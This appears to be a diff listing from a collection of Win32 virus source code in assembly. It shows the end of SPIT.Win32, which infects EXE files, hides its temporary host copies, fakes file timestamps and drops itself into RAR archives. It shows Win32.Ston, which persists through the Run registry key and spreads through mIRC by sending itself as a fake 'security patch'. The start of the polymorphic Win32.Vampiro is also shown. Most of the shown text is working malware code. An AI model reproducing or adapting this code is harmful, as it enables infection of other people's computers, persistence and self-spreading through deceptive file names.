MZ_ip DW ? ; Initial IP value
|
||||
MZ_cs DW ? ; Initial (relative) CS value
|
||||
MZ_lfarlc DW ? ; File address of relocation table
|
||||
MZ_ovno DW ? ; Overlay number
|
||||
MZ_res DW 4 DUP (?) ; Reserved words
|
||||
MZ_oemid DW ? ; OEM identifier (for e_oeminfo)
|
||||
MZ_oeminfo DW ? ; OEM information; e_oemid specific
|
||||
MZ_res2 DW 10 DUP (?) ; Reserved words
|
||||
MZ_lfanew DD ? ; File address of new exe header
|
||||
IMAGE_DOS_HEADER ENDS
|
||||
IMAGE_SIZEOF_DOS_HEADER EQU SIZE IMAGE_DOS_HEADER
|
||||
|
||||
; for RAR drop
|
||||
HeaderSize equ FinRARHeader-RARHeader
|
||||
Size equ 8192
|
||||
|
||||
.DATA
|
||||
|
||||
dos_header IMAGE_DOS_HEADER <?> ; for inf check test
|
||||
find_data WIN32_FIND_DATA <?> ; for ffirst 'n' fnext
|
||||
fMask: db '*.EXE',0 ; mask for exe
|
||||
ffHnd: dd ? ; ff'n'fn handle
|
||||
fHnd: dd ? ; file handle
|
||||
mHnd: dd ? ; memory handle
|
||||
mtHnd: dd ? ; tmp memory handle
|
||||
mtaHnd: dd ? ; tmp memory handle for args
|
||||
commandLine: dd ? ; you know...
|
||||
hArgs: db ? ; flag for has args
|
||||
argsPos: dd ? ; pos of args in cmd line
|
||||
fSize: dd ? ; tmp size of file
|
||||
size2Read dd 0 ; used for r/w ops
|
||||
|
||||
titleb db 'Virus Report rev2.1',0
|
||||
vid db 'SPIT.Win32 is a Bumblebee Win32 Virus',0ah,0dh
|
||||
mess db 0ah,0dh,'Feel the power of Spain and die by the SpiT!'
|
||||
db 0ah,0dh,0
|
||||
tmpHost db 'bbbee'
|
||||
rndHost db '000000.exe',0
|
||||
execStatus: db 0 ; status after exec
|
||||
|
||||
sysTimeStruct db 16 dup(0)
|
||||
|
||||
; data for save time
|
||||
stfHnd dd ?
|
||||
time0 dd 0,0
|
||||
time1 dd 0,0
|
||||
time2 dd 0,0
|
||||
sErr db 0
|
||||
|
||||
; data for RAR drop by CD13
|
||||
dMask: db '*.RAR',0 ; mask for rar
|
||||
Number dd 0
|
||||
RARHeader: ; Header that we will add
|
||||
RARHeaderCRC dw 0 ; We'll fill: CRC of header
|
||||
RARType db 074h ; File Header
|
||||
RARFlags dw 8000h
|
||||
RARHeadsize dw HeaderSize
|
||||
RARCompressed dd Size ; Compressed and Original
|
||||
RAROriginal dd Size ; size are the same, we stored
|
||||
RAROs db 0 ; OS: ms-dos
|
||||
RARCrc32 dd 0 ; We must fill this field
|
||||
RARFileTime db 063h,078h ; Time of the program
|
||||
RARFileDate db 031h,024h ; Date of the proggy
|
||||
RARNeedVer db 014h
|
||||
RARMethod db 030h ; Method: storing
|
||||
RARFnameSize dw FinRARHeader-RARName
|
||||
RARAttrib dd 0
|
||||
RARName db "README32.EXE" ; Name of file to drop
|
||||
|
||||
FinRARHeader label byte
|
||||
|
||||
.CODE
|
||||
|
||||
inicio:
|
||||
lea eax,sysTimeStruct ; check for payload
|
||||
push eax
|
||||
call GetSystemTime
|
||||
|
||||
lea eax,sysTimeStruct ; april 5
|
||||
cmp word ptr [eax+2],4
|
||||
jne skipPay
|
||||
cmp word ptr [eax+6],5
|
||||
jne skipPay
|
||||
|
||||
push 1000h ; petty payload
|
||||
lea eax,titleb
|
||||
push eax
|
||||
lea eax,vid
|
||||
push eax
|
||||
push 0
|
||||
call MessageBoxA
|
||||
|
||||
skipPay:
|
||||
call GetCommandLineA ; get command line
|
||||
mov dword ptr [commandLine],eax
|
||||
|
||||
skipArgs: ; skip args
|
||||
cmp dword ptr [eax],'EXE.'
|
||||
je argsOk
|
||||
inc eax
|
||||
jmp skipArgs
|
||||
argsOk:
|
||||
add eax,4
|
||||
cmp byte ptr [eax],0
|
||||
jne hasArgs
|
||||
mov byte ptr hArgs,0
|
||||
jmp sHasArgs
|
||||
hasArgs:
|
||||
mov byte ptr [eax],0
|
||||
mov byte ptr hArgs,1
|
||||
mov dword ptr [argsPos],eax
|
||||
|
||||
sHasArgs:
|
||||
|
||||
call execHoste ; exec host
|
||||
|
||||
push 00000004h ; read/write page
|
||||
push 00001000h ; mem commit (reserve phys mem)
|
||||
push 8192 ; size to alloc
|
||||
push 0h ; let system decide where to alloc
|
||||
call VirtualAlloc
|
||||
cmp eax,0
|
||||
je justOut ; ops... not memory to alloc?
|
||||
mov dword ptr [mHnd],eax
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push 00000080h
|
||||
push 3
|
||||
push eax
|
||||
push 00000001h
|
||||
push 80000000h
|
||||
mov eax,dword ptr [commandLine]
|
||||
push eax
|
||||
call CreateFileA ; open own file for read (shared)
|
||||
cmp eax,-1
|
||||
je justOut ; error: we can't infect ..snif..
|
||||
|
||||
mov dword ptr [fHnd],eax ; save handle
|
||||
|
||||
push 0
|
||||
mov dword ptr [size2Read],0
|
||||
lea eax,size2Read
|
||||
push eax
|
||||
push 8192
|
||||
push dword ptr [mHnd]
|
||||
push dword ptr [fHnd]
|
||||
call ReadFile ; read vx from hoste
|
||||
mov eax,dword ptr size2Read
|
||||
cmp eax,0
|
||||
je justOut
|
||||
|
||||
mov eax,dword ptr [mHnd]
|
||||
add eax,12h
|
||||
mov word ptr [eax],'kh' ; infection sign
|
||||
; -only needed in 1st infection-
|
||||
; but...
|
||||
|
||||
hOwnClose:
|
||||
mov eax,dword ptr [fHnd] ; close own file
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
lea eax,find_data ; find first *.exe
|
||||
push eax
|
||||
lea eax,fMask
|
||||
push eax
|
||||
call FindFirstFileA
|
||||
cmp eax,-1
|
||||
je goOut
|
||||
mov dword ptr [ffHnd],eax
|
||||
|
||||
fnext:
|
||||
call checkFile ; check file before infection process
|
||||
jc noInfect
|
||||
call infectFile
|
||||
|
||||
noInfect:
|
||||
lea eax,find_data ; find next *.exe
|
||||
push eax
|
||||
mov eax,dword ptr [ffHnd]
|
||||
push eax
|
||||
call FindNextFileA
|
||||
cmp eax,0
|
||||
jne fnext
|
||||
|
||||
mov eax,dword ptr [ffHnd] ; close ffist/fnext handle
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
goOut:
|
||||
lea eax,find_data ; find first *.rar
|
||||
push eax
|
||||
lea eax,dMask
|
||||
push eax
|
||||
call FindFirstFileA
|
||||
cmp eax,-1
|
||||
je justOut
|
||||
mov dword ptr [ffHnd],eax
|
||||
|
||||
fnextRar:
|
||||
call saveTime
|
||||
call drop
|
||||
cmp byte ptr [sErr],1
|
||||
je findNextRar
|
||||
call restoreTime
|
||||
|
||||
findNextRar:
|
||||
lea eax,find_data ; find next *.rar
|
||||
push eax
|
||||
mov eax,dword ptr [ffHnd]
|
||||
push eax
|
||||
call FindNextFileA
|
||||
cmp eax,0
|
||||
jne fnextRar
|
||||
|
||||
mov eax,dword ptr [ffHnd] ; close ffist/fnext handle
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
justOut:
|
||||
cmp byte ptr [execStatus],0 ; error while exec host?
|
||||
je skipDelLoop
|
||||
|
||||
delLoop:
|
||||
lea eax,tmpHost
|
||||
push eax ; delete tmp hoste
|
||||
call DeleteFileA
|
||||
cmp eax,0
|
||||
je delLoop ; wait until exec ends
|
||||
|
||||
skipDelLoop:
|
||||
push 0h ; exit
|
||||
call ExitProcess
|
||||
jmp skipDelLoop
|
||||
|
||||
checkFile: ; checks file
|
||||
push edx
|
||||
lea edx,find_data.cFileName
|
||||
call testIfPE
|
||||
pop edx
|
||||
jc checkErrOut
|
||||
|
||||
mov ax,word ptr dos_header.MZ_csum
|
||||
cmp ax,'kh'
|
||||
je checkErrOut ; check if it's infected yet
|
||||
|
||||
checkOut:
|
||||
clc
|
||||
ret
|
||||
|
||||
checkErrOut:
|
||||
stc
|
||||
ret
|
||||
|
||||
testIfPE:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push 00000080h
|
||||
push 3
|
||||
push eax
|
||||
push 00000001h
|
||||
push 80000000h
|
||||
push edx
|
||||
call CreateFileA ; open file for read (shared)
|
||||
cmp eax,-1
|
||||
je loadHErrOut
|
||||
|
||||
mov dword ptr [fHnd],eax ; save handle
|
||||
|
||||
push 0
|
||||
mov dword ptr [size2Read],0
|
||||
lea eax,size2Read
|
||||
push eax
|
||||
push IMAGE_SIZEOF_DOS_HEADER
|
||||
lea eax,dos_header
|
||||
push eax
|
||||
push dword ptr [fHnd]
|
||||
call ReadFile ; read DOS header
|
||||
mov eax,dword ptr size2Read
|
||||
cmp eax,0
|
||||
je loadHErrOut
|
||||
|
||||
mov ax,word ptr [dos_header.MZ_magic]
|
||||
add al,ah
|
||||
cmp al,'M'+'Z' ; check it's a EXE
|
||||
jne loadHErrOut
|
||||
|
||||
push 0
|
||||
push dword ptr [dos_header.MZ_lfanew]
|
||||
push dword ptr [fHnd]
|
||||
call _llseek ; lseek to begin of PE header
|
||||
cmp eax,-1
|
||||
je loadHErrOut
|
||||
|
||||
push 0
|
||||
mov dword ptr [size2Read],0
|
||||
lea eax,size2Read
|
||||
push eax
|
||||
push 2
|
||||
lea eax,dos_header
|
||||
push eax
|
||||
push dword ptr [fHnd]
|
||||
call ReadFile ; read PE sign
|
||||
mov eax,dword ptr size2Read
|
||||
cmp eax,0
|
||||
je loadHErrOut
|
||||
|
||||
mov ax,word ptr [dos_header.MZ_magic]
|
||||
add al,ah
|
||||
cmp al,'P'+'E' ; check it's a PE
|
||||
jne loadHErrOut
|
||||
|
||||
mov eax,dword ptr [fHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
clc
|
||||
ret
|
||||
|
||||
loadHErrOut:
|
||||
mov eax,dword ptr [fHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
stc
|
||||
ret
|
||||
|
||||
infectFile:
|
||||
|
||||
call saveTime ; save time of file
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push 00000080h
|
||||
push 3
|
||||
push eax
|
||||
push 00000001h OR 00000002h
|
||||
push 40000000h OR 80000000h
|
||||
lea eax,find_data.cFileName
|
||||
push eax
|
||||
call CreateFileA ; open file for r/w (shared)
|
||||
cmp eax,-1
|
||||
je infErrOutNC
|
||||
|
||||
mov dword ptr [fHnd],eax ; save handle
|
||||
|
||||
push 0
|
||||
push eax
|
||||
call GetFileSize
|
||||
cmp eax,-1
|
||||
je infErrOutC
|
||||
|
||||
mov dword ptr [fSize],eax ; save size of file
|
||||
|
||||
push 00000004h ; read/write page
|
||||
push 00001000h ; mem commit (reserve phys mem)
|
||||
push eax ; size to alloc
|
||||
push 0h ; let system decide where to alloc
|
||||
call VirtualAlloc ; alloc memory for future hoste
|
||||
cmp eax,0
|
||||
je infErrOutC ; ops... not memory to alloc?
|
||||
mov dword ptr [mtHnd],eax
|
||||
|
||||
push 0
|
||||
mov dword ptr [size2Read],0
|
||||
lea eax,size2Read
|
||||
push eax
|
||||
push dword ptr [fSize]
|
||||
push dword ptr [mtHnd]
|
||||
push dword ptr [fHnd]
|
||||
call ReadFile ; read future hoste
|
||||
mov eax,dword ptr size2Read
|
||||
cmp eax,0
|
||||
je infErrOutC
|
||||
|
||||
push 0
|
||||
push 0
|
||||
push dword ptr [fHnd]
|
||||
call _llseek ; lseek to begin of file
|
||||
cmp eax,-1
|
||||
je infErrOutC
|
||||
|
||||
push 0
|
||||
mov dword ptr [size2Read],0
|
||||
lea eax,size2Read
|
||||
push eax
|
||||
push 8192
|
||||
push dword ptr [mHnd]
|
||||
push dword ptr [fHnd]
|
||||
call WriteFile ; write virii
|
||||
|
||||
call encrypt ; encrypt hoste
|
||||
|
||||
push 0
|
||||
mov dword ptr [size2Read],0
|
||||
lea eax,size2Read
|
||||
push eax
|
||||
push dword ptr [fSize]
|
||||
push dword ptr [mtHnd]
|
||||
push dword ptr [fHnd]
|
||||
call WriteFile ; write future hoste
|
||||
|
||||
push 00004000h
|
||||
push dword ptr [fSize]
|
||||
push dword ptr [mtHnd]
|
||||
call VirtualFree ; free future host mem
|
||||
|
||||
infErrOutC:
|
||||
mov eax,dword ptr [fHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
infErrOutNC:
|
||||
cmp byte ptr [sErr],0
|
||||
jne skipRestoreTime
|
||||
call restoreTime
|
||||
|
||||
skipRestoreTime:
|
||||
ret
|
||||
|
||||
execHoste:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push 00000080h
|
||||
push 3
|
||||
push eax
|
||||
push 00000001h
|
||||
push 80000000h
|
||||
mov eax,dword ptr [commandLine]
|
||||
push eax
|
||||
call CreateFileA ; open host file for read (shared)
|
||||
cmp eax,-1
|
||||
je exeErrOutNC
|
||||
|
||||
mov dword ptr [fHnd],eax ; save handle
|
||||
|
||||
push 0
|
||||
push eax
|
||||
call GetFileSize
|
||||
cmp eax,-1
|
||||
je exeErrOutC
|
||||
|
||||
sub eax,8192 ; sub virus size
|
||||
mov dword ptr [fSize],eax ; save size of file
|
||||
|
||||
push 00000004h ; read/write page
|
||||
push 00001000h ; mem commit (reserve phys mem)
|
||||
push eax ; size to alloc
|
||||
push 0h ; let system decide where to alloc
|
||||
call VirtualAlloc ; alloc memory for hoste
|
||||
cmp eax,0
|
||||
je exeErrOutC ; ops... not memory to alloc?
|
||||
mov dword ptr [mtHnd],eax
|
||||
|
||||
push 0
|
||||
push 8192
|
||||
push dword ptr [fHnd]
|
||||
call _llseek ; lseek to hoste of file
|
||||
cmp eax,-1
|
||||
je exeErrOutC
|
||||
|
||||
push 0
|
||||
mov dword ptr [size2Read],0
|
||||
lea eax,size2Read
|
||||
push eax
|
||||
mov eax,dword ptr [fSize]
|
||||
push eax
|
||||
push dword ptr [mtHnd]
|
||||
push dword ptr [fHnd]
|
||||
call ReadFile ; read hoste
|
||||
mov eax,dword ptr size2Read
|
||||
cmp eax,0
|
||||
je exeErrOutC
|
||||
|
||||
mov eax,dword ptr [fHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
call encrypt ; dencrypt hoste
|
||||
|
||||
mov ecx,6
|
||||
mov edx,offset rndHost
|
||||
loopRnd:
|
||||
call getRandom ; make a random tmp name
|
||||
mov byte ptr [edx],al
|
||||
inc edx
|
||||
loop loopRnd
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push 00000020h ; archive
|
||||
push 1
|
||||
push eax
|
||||
push 00000001h OR 00000002h
|
||||
push 40000000h
|
||||
lea eax,tmpHost
|
||||
push eax
|
||||
call CreateFileA ; open new file for write (shared)
|
||||
cmp eax,-1
|
||||
je exeErrOutNC
|
||||
|
||||
push 0
|
||||
mov dword ptr [size2Read],0
|
||||
lea eax,size2Read
|
||||
push eax
|
||||
mov eax,dword ptr [fSize]
|
||||
push eax
|
||||
push dword ptr [mtHnd]
|
||||
push dword ptr [fHnd]
|
||||
call WriteFile ; write hoste
|
||||
|
||||
mov eax,dword ptr [fHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
push 00004000h
|
||||
push dword ptr [fSize]
|
||||
push dword ptr [mtHnd]
|
||||
call VirtualFree ; free future host mem
|
||||
|
||||
push 00000004h ; read/write page
|
||||
push 00001000h ; mem commit (reserve phys mem)
|
||||
push 1024 ; size to alloc
|
||||
push 0h ; let system decide where to alloc
|
||||
call VirtualAlloc ; alloc memory for hoste
|
||||
cmp eax,0
|
||||
je exeErrOutNC ; ops... not memory to alloc?
|
||||
mov dword ptr [mtaHnd],eax
|
||||
|
||||
lea eax,tmpHost
|
||||
push eax
|
||||
mov eax,dword ptr [mtaHnd]
|
||||
push eax
|
||||
call lstrcpy ; make a command line
|
||||
|
||||
cmp byte ptr [hArgs],0 ; it has not arguments
|
||||
je execNow
|
||||
|
||||
mov eax,dword ptr [argsPos]
|
||||
mov byte ptr [eax],' '
|
||||
push eax
|
||||
mov eax,dword ptr [mtaHnd]
|
||||
push eax
|
||||
call lstrcat ; add arguments
|
||||
|
||||
execNow:
|
||||
push 1
|
||||
mov eax,dword ptr [mtaHnd]
|
||||
push eax ; exec tmp hoste
|
||||
call WinExec
|
||||
mov byte ptr [execStatus],1
|
||||
|
||||
push 2
|
||||
lea eax,tmpHost
|
||||
push eax
|
||||
call SetFileAttributesA ; hide file
|
||||
|
||||
ret
|
||||
|
||||
exeErrOutC:
|
||||
mov eax,dword ptr [fHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
exeErrOutNC:
|
||||
ret
|
||||
|
||||
getRandom:
|
||||
in al,40h
|
||||
cmp al,65
|
||||
jb getRandom
|
||||
cmp al,90
|
||||
ja getRandom
|
||||
|
||||
ret
|
||||
|
||||
encrypt:
|
||||
mov edi,dword ptr [mtHnd]
|
||||
mov eax,dword ptr [fSize] ; use size low byte as ckey
|
||||
mov ecx,dword ptr [fSize]
|
||||
encryptLoop:
|
||||
xor byte ptr [edi],al
|
||||
inc edi
|
||||
loop encryptLoop
|
||||
ret
|
||||
|
||||
saveTime:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push 00000080h
|
||||
push 3
|
||||
push eax
|
||||
push 00000001h
|
||||
push 80000000h
|
||||
lea eax,find_data.cFileName
|
||||
push eax
|
||||
call CreateFileA ; open own file for read (shared)
|
||||
cmp eax,-1
|
||||
je saveErr ; error: we can't save time
|
||||
|
||||
mov dword ptr [stfHnd],eax
|
||||
|
||||
lea eax,time2
|
||||
push eax
|
||||
lea eax,time1
|
||||
push eax
|
||||
lea eax,time0
|
||||
push eax
|
||||
push dword ptr [stfHnd]
|
||||
call GetFileTime
|
||||
|
||||
mov eax,dword ptr [stfHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
mov byte ptr [sErr],0
|
||||
ret
|
||||
|
||||
saveErr:
|
||||
mov byte ptr [sErr],1
|
||||
ret
|
||||
|
||||
restoreTime:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push 00000080h
|
||||
push 3
|
||||
push eax
|
||||
push 00000001h
|
||||
push 40000000h
|
||||
lea eax,find_data.cFileName
|
||||
push eax
|
||||
call CreateFileA ; open own file for read (shared)
|
||||
cmp eax,-1
|
||||
je restoreErr ; error: we can't restore time
|
||||
|
||||
mov dword ptr [stfHnd],eax
|
||||
|
||||
lea eax,time2
|
||||
push eax
|
||||
lea eax,time1
|
||||
push eax
|
||||
lea eax,time0
|
||||
push eax
|
||||
push dword ptr [stfHnd]
|
||||
call SetFileTime
|
||||
|
||||
mov eax,dword ptr [stfHnd] ; close file
|
||||
push eax
|
||||
call CloseHandle
|
||||
|
||||
restoreErr:
|
||||
ret
|
||||
|
||||
; CD13 routines modified for SPIT -cool routines!-
|
||||
drop:
|
||||
xor eax,eax ; open rar file
|
||||
push eax
|
||||
push 00000080h
|
||||
push 3
|
||||
push eax
|
||||
push eax
|
||||
push 40000000h
|
||||
lea eax,find_data.cFileName
|
||||
push eax
|
||||
call CreateFileA
|
||||
cmp eax,-1
|
||||
je dropErr
|
||||
|
||||
mov dword ptr [fHnd],eax
|
||||
|
||||
xor eax,eax
|
||||
push 02
|
||||
push eax ; Move pointer to EOF
|
||||
push dword ptr [fHnd]
|
||||
call _llseek
|
||||
|
||||
mov esi,dword ptr [mHnd]
|
||||
mov edi,Size ; Get CRC32 of the program
|
||||
call CRC32 ; that we'll drop
|
||||
|
||||
mov dword ptr [RARCrc32],eax ; Save the CRC
|
||||
|
||||
mov esi,offset RARHeader+2
|
||||
mov edi,HeaderSize-2
|
||||
call CRC32 ; Get CRC32 of the header
|
||||
mov word ptr [RARHeaderCRC],ax
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push offset Number ; Number of bytes written
|
||||
push HeaderSize
|
||||
push offset RARHeader ; Write the header
|
||||
push dword ptr [fHnd]
|
||||
call WriteFile
|
||||
|
||||
mov word ptr [RARHeaderCRC],0
|
||||
mov word ptr [RARCrc32],0 ; Blank these fields
|
||||
mov word ptr [RARCrc32+2],0
|
||||
|
||||
push 0
|
||||
push offset Number
|
||||
push Size
|
||||
push dword ptr [mHnd] ; Drop the file
|
||||
push dword ptr [fHnd]
|
||||
call WriteFile
|
||||
|
||||
push dword ptr [fHnd] ; Close it
|
||||
call CloseHandle
|
||||
|
||||
dropErr:
|
||||
ret
|
||||
|
||||
CRC32: cld ; Routine extracted from Vecna's
|
||||
push ebx ; Inca virus! Muito brigado, friend!
|
||||
mov ecx,-1 ; Calculates CRC32 at runtime, no
|
||||
mov edx,ecx ; need of big tables.
|
||||
NextByteCRC:
|
||||
xor eax,eax
|
||||
xor ebx,ebx
|
||||
lodsb
|
||||
xor al,cl
|
||||
mov cl,ch
|
||||
mov ch,dl
|
||||
mov dl,dh
|
||||
mov dh,8
|
||||
NextBitCRC:
|
||||
shr bx,1
|
||||
rcr ax,1
|
||||
jnc NoCRC
|
||||
xor ax,08320h
|
||||
xor bx,0edb8h
|
||||
NoCRC: dec dh
|
||||
jnz NextBitCRC
|
||||
xor ecx,eax
|
||||
xor edx,ebx
|
||||
dec di
|
||||
jnz NextByteCRC
|
||||
not edx
|
||||
not ecx
|
||||
pop ebx
|
||||
mov eax,edx
|
||||
rol eax,16
|
||||
mov ax,cx
|
||||
ret
|
||||
|
||||
Ends
|
||||
End inicio
|
246
Win32/Win32.Ston.asm
Normal file
246
Win32/Win32.Ston.asm
Normal file
@ -0,0 +1,246 @@
|
||||
;--------------------------------------------------------------------+
|
||||
;name: Win32.Ston |
|
||||
;author: Hutley / RRLF |
|
||||
;date 30.Jun.2006 |
|
||||
;webpage: www.Hutley.de.vu |
|
||||
;--------------------------------------------------------------------+
|
||||
; *** FEATURES |
|
||||
; - Start with Windows by Registry |
|
||||
; - Spread by mIRC using a script file |
|
||||
; |
|
||||
; *** THANX |
|
||||
; - DiA, SPTH, blueowl, dr3f |
|
||||
; |
|
||||
; *** COMMENT! |
|
||||
; My first that spread by mIRC! |
|
||||
;--------------------------------------------------------------------+
|
||||
|
||||
include '%fasminc%\win32ax.inc'
|
||||
|
||||
.data
|
||||
about db "Win32.Ston by Hutley / RRLF", 0
|
||||
_windir rb 255d
|
||||
ston_file rb 255d
|
||||
ston_new rb 255d
|
||||
; registry variables
|
||||
reg_subkey equ "Software\Microsoft\Windows\CurrentVersion\Run", 0
|
||||
reg_result db ?
|
||||
reg_value equ "Ston", 0
|
||||
; infect mIRC
|
||||
mirc_reg equ "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\mIRC", 0
|
||||
mirc_reg_rst db ?
|
||||
mirc_path rb 255d
|
||||
mirc_size db 255d
|
||||
mirc_file equ "\mIRC_Security_Patch.exe", 0
|
||||
mirc_ston equ "ston.mrc", 0
|
||||
mirc_ston_hdl dd ?
|
||||
mirc_dccsend db ".dcc send -clm $nick ",0
|
||||
mirc_content db "; Win32.Ston.Script by Hutley/RRLF",13,10,\
|
||||
"",13,10,\
|
||||
"on 1:JOIN:#:if ($nick != $me) }",13,10
|
||||
mirc_ctnt_size = $ - mirc_content
|
||||
mirc_other db 256 dup(?)
|
||||
mirc_rest db 13,10,".privmsg $nick Accept, its a very nice one!",13,10,"}"
|
||||
mirc_writen dd 0
|
||||
;mirc.ini
|
||||
ini_file db 0
|
||||
|
||||
.code
|
||||
|
||||
start:
|
||||
call autostart ; ok! auto start with windows
|
||||
call infect_mirc ; ok! copy in mirc folder
|
||||
call write_mirc.ini ; write in mirc.ini
|
||||
|
||||
invoke ExitProcess,\ ; that's all folks!
|
||||
0
|
||||
.end start
|
||||
|
||||
proc write_mirc.ini
|
||||
invoke lstrcat,\
|
||||
ini_file,\
|
||||
"\mirc.ini"
|
||||
|
||||
invoke WritePrivateProfileString,\
|
||||
"rfiles",\
|
||||
"n2",\
|
||||
"ston.mrc",\
|
||||
ini_file
|
||||
ret
|
||||
endp
|
||||
|
||||
proc infect_mirc
|
||||
invoke RegOpenKeyEx,\
|
||||
HKEY_LOCAL_MACHINE,\
|
||||
mirc_reg,\
|
||||
0,\
|
||||
KEY_READ,\
|
||||
mirc_reg_rst
|
||||
|
||||
cmp eax, 0 ; any error?
|
||||
jne error ; then exit
|
||||
; whithout error, then continue
|
||||
invoke RegQueryValueEx,\
|
||||
dword[mirc_reg_rst],\
|
||||
"UninstallString",\
|
||||
0,\
|
||||
0,\
|
||||
mirc_path,\
|
||||
mirc_size
|
||||
|
||||
invoke lstrlen,\
|
||||
mirc_path
|
||||
|
||||
mov esi, mirc_path
|
||||
sub eax, 21 ; 12 to mirc.exe | 21 to C:\mirc\
|
||||
mov byte [esi + eax], 0
|
||||
inc esi
|
||||
|
||||
invoke RegCloseKey,\
|
||||
mirc_reg_rst
|
||||
|
||||
invoke GetModuleFileName,\
|
||||
0,\
|
||||
ston_file,\
|
||||
255d
|
||||
|
||||
invoke lstrcpy,\
|
||||
ston_new,\
|
||||
esi
|
||||
|
||||
invoke lstrcpy,\
|
||||
ini_file,\
|
||||
esi
|
||||
|
||||
invoke lstrcat,\
|
||||
ston_new,\
|
||||
mirc_file
|
||||
|
||||
invoke lstrcpy,\
|
||||
mirc_other,\
|
||||
".dcc send -clm $nick "
|
||||
|
||||
invoke lstrcat,\
|
||||
mirc_other,\
|
||||
esi
|
||||
|
||||
invoke lstrcat,\
|
||||
mirc_other,\
|
||||
mirc_file
|
||||
|
||||
invoke CopyFile,\ ; let´s copy in mIRC folder
|
||||
ston_file,\
|
||||
ston_new,\
|
||||
FALSE
|
||||
|
||||
invoke lstrlen,\
|
||||
ston_new
|
||||
|
||||
mov esi, ston_new
|
||||
sub eax, 23
|
||||
mov byte[esi + eax], 0
|
||||
|
||||
invoke lstrcat,\
|
||||
esi,\
|
||||
mirc_ston
|
||||
|
||||
invoke CreateFile,\ ; create the script file (ston.mrc)
|
||||
esi,\
|
||||
GENERIC_WRITE,\
|
||||
0,\
|
||||
0,\
|
||||
CREATE_ALWAYS,\
|
||||
FILE_ATTRIBUTE_HIDDEN,\
|
||||
0
|
||||
|
||||
cmp eax, INVALID_HANDLE_VALUE ; protection of erros
|
||||
je error ; error? get out!
|
||||
mov dword[mirc_ston_hdl], eax ; handle of file creation in variable
|
||||
|
||||
invoke WriteFile,\
|
||||
dword[mirc_ston_hdl],\
|
||||
mirc_content,\
|
||||
mirc_ctnt_size,\
|
||||
mirc_writen,\
|
||||
0
|
||||
|
||||
invoke lstrlen,\
|
||||
mirc_other
|
||||
|
||||
invoke WriteFile,\
|
||||
dword[mirc_ston_hdl],\
|
||||
mirc_other,\
|
||||
eax,\
|
||||
mirc_writen,\
|
||||
0
|
||||
|
||||
invoke lstrlen,\
|
||||
mirc_rest
|
||||
|
||||
invoke WriteFile,\
|
||||
dword[mirc_ston_hdl],\
|
||||
mirc_rest,\
|
||||
eax,\
|
||||
mirc_writen,\
|
||||
0
|
||||
|
||||
invoke CloseHandle,\
|
||||
dword[mirc_ston_hdl]
|
||||
|
||||
error: ; if exist error i go to here
|
||||
invoke RegCloseKey,\ ; close the opened key
|
||||
mirc_reg_rst
|
||||
ret
|
||||
endp
|
||||
|
||||
|
||||
proc autostart ; auto start the virus by win registry
|
||||
invoke GetWindowsDirectory,\ ; let's copy to windows dir
|
||||
_windir,\
|
||||
255d
|
||||
|
||||
invoke GetModuleFileName,\
|
||||
0,\
|
||||
ston_file,\
|
||||
255d
|
||||
|
||||
invoke lstrcpy,\
|
||||
ston_new,\
|
||||
_windir
|
||||
|
||||
invoke lstrcat,\
|
||||
ston_new,\
|
||||
"\WinStone.exe"
|
||||
|
||||
invoke CopyFile,\
|
||||
ston_file,\
|
||||
ston_new,\
|
||||
FALSE
|
||||
|
||||
invoke lstrcpy,\
|
||||
ston_file,\
|
||||
ston_new
|
||||
|
||||
invoke RegOpenKeyEx,\ ; add to registry
|
||||
HKEY_LOCAL_MACHINE,\
|
||||
reg_subkey,\
|
||||
0,\
|
||||
KEY_SET_VALUE,\
|
||||
reg_result
|
||||
|
||||
invoke lstrlen,\
|
||||
ston_file
|
||||
|
||||
invoke RegSetValueEx,\
|
||||
dword[reg_result],\
|
||||
reg_value,\
|
||||
0,\
|
||||
REG_SZ,\
|
||||
ston_file,\
|
||||
eax
|
||||
|
||||
invoke RegCloseKey,\
|
||||
dword[reg_result]
|
||||
ret
|
||||
endp
|
||||
|
1006
Win32/Win32.ThanksToDarwin.asm
Normal file
1006
Win32/Win32.ThanksToDarwin.asm
Normal file
File diff suppressed because it is too large
Load Diff
7817
Win32/Win32.Thorin.asm
Normal file
7817
Win32/Win32.Thorin.asm
Normal file
File diff suppressed because it is too large
Load Diff
1759
Win32/Win32.Tirthas.asm
Normal file
1759
Win32/Win32.Tirthas.asm
Normal file
File diff suppressed because it is too large
Load Diff
7671
Win32/Win32.Tuareg.asm
Normal file
7671
Win32/Win32.Tuareg.asm
Normal file
File diff suppressed because it is too large
Load Diff
3210
Win32/Win32.Urk0.asm
Normal file
3210
Win32/Win32.Urk0.asm
Normal file
File diff suppressed because it is too large
Load Diff
951
Win32/Win32.Vampiro.2883.asm
Normal file
951
Win32/Win32.Vampiro.2883.asm
Normal file
@ -0,0 +1,951 @@
|
||||
; Win32.Vampiro.2883
|
||||
;
|
||||
; - poly, used LME32 v.1.0
|
||||
; - many layers, max - 11
|
||||
; - used SEH
|
||||
; - dont change entry point
|
||||
;
|
||||
; (c) LordDark [MATRiX]
|
||||
|
||||
|
||||
.386
|
||||
include 1.inc
|
||||
locals __
|
||||
.model flat
|
||||
.code
|
||||
db ?
|
||||
.data
|
||||
|
||||
start proc
|
||||
call get_delta
|
||||
call set_seh
|
||||
mov esp, [esp.8]
|
||||
jmp exit
|
||||
set_seh:
|
||||
sti
|
||||
sub eax, eax
|
||||
push 4 ptr fs:[eax]
|
||||
